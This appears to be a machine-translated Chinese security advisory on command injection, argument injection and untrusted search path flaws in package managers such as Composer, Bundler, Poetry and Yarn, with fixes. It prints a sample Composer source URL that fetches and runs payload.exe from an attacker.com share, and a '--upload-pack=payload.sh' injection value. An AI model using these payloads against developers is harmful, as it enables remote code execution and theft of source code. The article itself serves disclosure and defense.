开发人员是网络犯罪分子的一个有吸引力的目标,因为他们可以访问公司的核心知识产权资产:源代码。入侵允许攻击者进行间谍活动或在公司产品中嵌入恶意代码。这甚至可以用来发动供应链攻击。
现代软件开发和几乎所有编程语言生态系统的组成部分都是包管理器。它们有助于管理和下载第 3 方依赖项,因此开发人员必须确保这些依赖项不包含恶意代码,因为它们嵌入到他们构建的产品中。然而,管理依赖项通常不被视为具有潜在风险的操作,特别是在使用安全选项时。
为了帮助保护开发者的生态系统,我们的研究人员开始研究开发者工具,这些工具可能会被攻击者作为破坏开发者机器的攻击目标。在本文中,我们讨论了在一些最受欢迎的包管理器中发现的漏洞。下周的文章将描述在终端和广泛使用的代码编辑器中使用的 Git 集成漏洞。
如何影响你?
作为我们的研究结果,我们在以下主流包管理器中发现了漏洞:
- Composer 1.x < 1.10.23 和 2.x < 2.1.9(已修复,CVE-2021-41116,1 未修复)
- Bundler < 2.2.33(已修复,CVE-2021-43809)
- Bower < 1.8.13(已修复,CVE-2021-43796)
- 诗歌 < 1.1.9(已修复,CVE 待定)
- Yarn < 1.22.13(已修复,CVE 待定)
- pnpm < 6.15.1(已修复,CVE 待定)
- 点(不固定)
- Pipenv(未修复)
我们描述的攻击可能发生在两种不同的场景中。在这两种情况下,受害者都需要使用上述软件包管理器之一来处理恶意文件或软件包。这意味着无法直接从远程攻击开发人员的机器,并需要引诱开发人员加载格式错误的文件。但是,你能一直理解和信任你吗Internet 或公司内部存储库中使用的所有软件包的所有者?
第一种情况下,攻击者会发布恶意包,然后让受害者使用带有包名的 Composer 浏览命令。例如,这可能发生在社会工程、拼写错误或依赖混淆中。我们在 Composer 在这种情况下发现了命令注入漏洞。恶意包曾被用于其他类型的攻击,如流行的 JavaScript 包“ua-parser-js去年感染了恶意代码。
第二种情况要求受害者先下载受害者控制的文件,然后使用易受攻击的包管理器之一。这就要求攻击者使用社会工程或秘密将恶意文件放入受害者信任的代码库。我们发现了参数注入和不可信的搜索路径问题。2021年,类似的攻击向量已被用于安全研究人员。攻击者以合作项目为借口使用虚假 Twitter 帐户将 Visual Studio 项目发送给受害者,恶意软件将在打开时执行。
如果这些攻击中的任何一个成功,攻击者都可以在受害者的机器上执行任何命令。例如,他们可以窃取或修改敏感数据,如源代码或访问令牌,允许攻击者将后门或恶意软件放入代码或感染受害者可以访问的其他系统。
技术细节
在以下部分中,我们将解释在几个最流行的包管理器中发现的 3 种不同类型的漏洞;我们相信这些类型在包管理器中很普遍,并且这项研究可以应用于任何新目标。我们从发布恶意程序包的攻击者可以使用的命令注入漏洞开始。然后我们看一下参数注入和不受信任的搜索路径漏洞,这些漏洞可用于诱骗受害者执行恶意代码。
Composer 注入命令
Composer 是 PHP 生态系统中领先的包管理器是一个命令行应用程序,它实现了几个子命令,如status、install和remove。开发人员可以使用另一个子命令browse轻松打开包的源代码和文档。它需要一个包名作为其唯一的参数,然后打开设置为包主页的 URL。以下方式实现:
src/Composer/Command/HomeCommand.php:
$support = $package->getSupport();
$url = isset($support['source']) ? $support['source'] : $package->getSourceUrl();
// [...]
if (!$url || !filter_var($url,FILTER_VALIDATE_URL)) { // ← [1]
return false;
}
// [...]
$this->openBrowser($url); // ← [2]
检查包的源字段是否有效 URL(在[1]处),然后在浏览器中打开(在[2]处)。打开机制取决于操作系统,并在前一个函数的下方实现:
操作系统是 Windows 时,命令是start "web" explorer ""。URL 在插入命令字符串之前被转义,但转义函数在值周围添加了双引号。这将导致 URL 双包装产生类似的start "web" explorer ""http://example.com/""命令。这使得该值在命令字符串中根本不会被转义,因此可以插入更多的命令,称为命令注入漏洞。
为了利用这一点,攻击者必须发布包源 URL 包,如:http ://example.com/&\attacker.com\Public\payload.exe
作为有效 满足值URL 的条件至少取决于 PHP 的FILTER_VALIDATE_URL,但是,当受害者使用带有恶意包名的浏览命令时,任何代码都会执行。假设攻击者的包名是bad-pkg,使用上述源 URL 向 发布Composer 注册表。现在,如果任何用户运行composer browse bad-pkg,example.com打开他们的浏览器,但也会在后台静静地从attacker.com的公共 SMB 共享中下载payload.exe并执行。这为攻击者提供了访问受害者机器的权限和进一步攻击的能力。
Bundler 和 Poetry注入 中的参数
之前的漏洞是由于从用户输入中不安全地创建命令字符串造成的,这被证明是一种容易出错的方法。通常,更安全的替代方法是使用参数组而不是命令字符串,但这仍然可能是错误的,就像我们将在本节中学习一样。
当包管理器试图下载一个包时,它可能来自多个可能的来源。通常来源是包管理器的本地注册表。但大多数包管理器也支持本地文件路径或 Git 仓库安装包。后者通常调用一系列 Git 实现命令,例如git clone。
Git 是一种复杂的命令行工具,有很多选项,所以有Argument Injections可能性。这种情况发生在参数之一应该是位置参数的时候,但是攻击者可以把它变成可选参数。命令行应用程序检查参数是否打破 ( - )开始确定参数是位置还是非位置。
让我们以 Ruby 生态系统中的包管理器 Bundler 为例。因为它使用户控制的参数调用 Git 命令的方式容易受到攻击:
# [ ]
configured_uri = configured_uri_for(uri).to_s
unless path.exist?
SharedHelpers.filesystem_access(path.dirname) do |p|
FileUtils.mkdir_p(p)
end
git_retry "clone",configured_uri,path.to_s,"--bare","--no-hardlinks","--quiet"
return unless extra_ref
end
# [ ]
end
git_retry函数本质上是使用提供的参数操作 Git 命令。为了使这个例子更简单,我们将在最后省略三个可选参数。checkout函数的正常执行会导致以下 OS 命令:
Git 遍历这个参数列表,发现它们都不是从破折号开始的,假设它们都是位置参数,并会https://myrepo.com存储库克隆到目录./destination-dir/中。
但是uri的值来自 Gemfile,因此,攻击者可以创建如下所示的 Gemfile 滥用它: 滥用它:
因此,uri是--upload-pack=payload.sh,这将导致git_retry运行这个 Git 命令:
Git 理解为将存储库克隆为本地路径./destination-dir/,但使用payload.sh作为上传包选项。payload.sh或执行任何其他指定的命令。
Python 生态系统中的包管理器 Poetry 也很容易受到同样类型的攻击。许多其他包管理器也实现了类似的东西,但由于我们的研究中的细微差异,它们没有被发现是可用的。
Yarn、Pip、Composer 等不可信搜索路径
同样,即使使用参数列表而不是命令字符串来避免以前的漏洞,并确保不注入不必要的参数,另一件事也可能出错。对于这些漏洞,我们首先需要了解 Windows 不同于其他操作系统将命令名分析为正确的可执行文件。
使用相对或绝对路径执行命令时,不需要分析任何内容,因为路径已知。但是,如果命令只是一个名称,则操作系统的工作是找到并操作与名称匹配的正确二进制文件。在所有主要操作系统中,可能的位置都在PATH设置在环境变量中。它包括系统将找到与命令名称相匹配的可执行文件的所有路径。这种行为在所有主要操作系统中都是一致的,但 Windows 将考虑一个额外的位置:当前的工作目录。它将在所有其他位置之前找到执行文件,然后只使用它PATH 。
例如,如果当前目录中有一个名称notepad.exe文件,用户启动执行命令notepad %localappdata%\Temp\test.txt本地程序将执行notepad.exe而不是常规记事本可执行文件C:\Windows\system32\notepad.exe。
这是很多开发人员不知道的 Windows 怪癖,过去造成了很多漏洞。每当程序以名义执行命令,但不确定PATH当当当前目录中的文件安全时,它将创建不可信的搜索路径(CWE-426) 漏洞。
如前所述,许多包管理器允许引用 Git 仓库不是当地注册表的包。因为检查 Git 存储库需要一些复杂的工作,所以这些包管理器不会自己实现这些工作,而只是操作 Git 命令。
查看 JavaScript 生态系统中流行的包管理器 Yarn,从 Git 仓储声明依赖项会导致仓储声明依赖项package.json文件如下:
"dependencies": {
"example": "git https://github.com/example/example"
}
}
运行yarn install时,Yarn 会通过 Git 从 GitHub下载示例包。在内部,它将使用命令git clone git https://github.com/example/example。请注意,Git 是根据名称调用的,而不是使用相对或绝对的路径,因此当在包含不信任文件的目录中执行命令时,会产生不信任的搜索路径漏洞。如果目录中有git.exe文件将被执行而不是安装 Git,导致执行恶意代码。
当然,即使用户特别小心,处理不信任的文件也总是很危险的。Yarn 命令行选项--ignore-scripts会阻止第三方代码的执行,但无助于阻止此类攻击。Git 仓库的依赖也可以完全合法,因为通过 很重要Git 获取它,而不是它的内容。
受此影响,几种流行的包管理器,即 Yarn、pnpm、Bower、Poetry、Composer、pip 和 pipenv。Composer 维修人员决定不解决这个问题,因为他们声明这超出了他们的威胁模型。Pip 和 Pipenv 也选择不解决这个问题,因为根据他们的说法,攻击者可以通过其他方式在同一攻击场景中获得代码执行。
修补
为了避免命令注入漏洞,我们建议在确实需要时使用命令字符串。试着用参数列表操作命令。如果您确实需要使用命令字符串,请依赖内置或值得信赖的第三方转义函数,而不是编写您自己的转义函数。确保它不像 Composer双重包装发生在 。PHP 在命令字符串中转义 shell使用 参数的正确方法是escapeshellarg函数:
为避免注入参数,请确保没有破折号的参数( - ) 开始。在实际执行命令之前执行此操作,并确保参数值不会在检查和执行之间进一步修改,因为这导致了过去的绕过。请注意,有些 Windows 应用程序使用斜杠 ( / ) 而不是破折号来标记可选参数的开头,所以请确保您知道如何解释操作命令中的参数,并相应调整任何检查。
另一种方法是插入用户控制的参数--作为单个参数。它充当分隔符,并告诉程序不要将任何后续参数视为可选参数。因为是 POSIX 标准定义,请确保命令符合 POSIX 标准,否则可能无法正常工作。Bundler,维修人员用它来修复漏洞:
为避免Windows如果可能的话,最简单的方法就是在安全目录中操作命令。Rust 包管理器 Cargo 检查来自 Git 存储库的依赖项的方式。如果命令必须在当前目录中运行,您应该首先以安全的方式解析匹配的可执行文件的路径,然后使用该路径运行命令。
例如,Yarn 通过使用where命令(总是位于%)WINDIR%\System32\where.exe修复他们的漏洞。他们将一组可能的位置限制为PATH将当前目录排除在环境变量中定义的位置。这是一种实现方式:
const { execFile } = require('child_process');
const WHERE_PATH = join(process.env.WINDIR,'System32','where.exe');
async function resolveExecutableOnWindows(name) {
return new Promise((resolve,reject) => {
execFile(WHERE_PATH,[`$PATH:${name}`],(error,stdout,stderr) => {
if (error) {
return reject(error);
const [ firstMatch ] = stdout.split('\r\n');
resolve(firstMatch);
};
});
}
总结
在本文中,我们介绍了三种流行的包管理器漏洞。我们举了一个例子来解释攻击者如何使用它们来破坏开发者的机器,我们用代码示例来解释潜在的问题,并就如何避免类似的问题提出了建议。
请记住定期更新所有工具,并小心处理未知来源的文件。我们强烈建议不要在不可信的代码库上使用包管理器,即使它具有禁止脚本执行等安全功能。如果您真的需要处理所有的第三方代码和文件,我们建议在一次性虚拟机中这样做。
我们要感谢所有报告问题的项目的维护人员。他们很快回应了我们的建议,修复了漏洞,或者花时间和我们讨论为什么他们不把一些东西当作漏洞。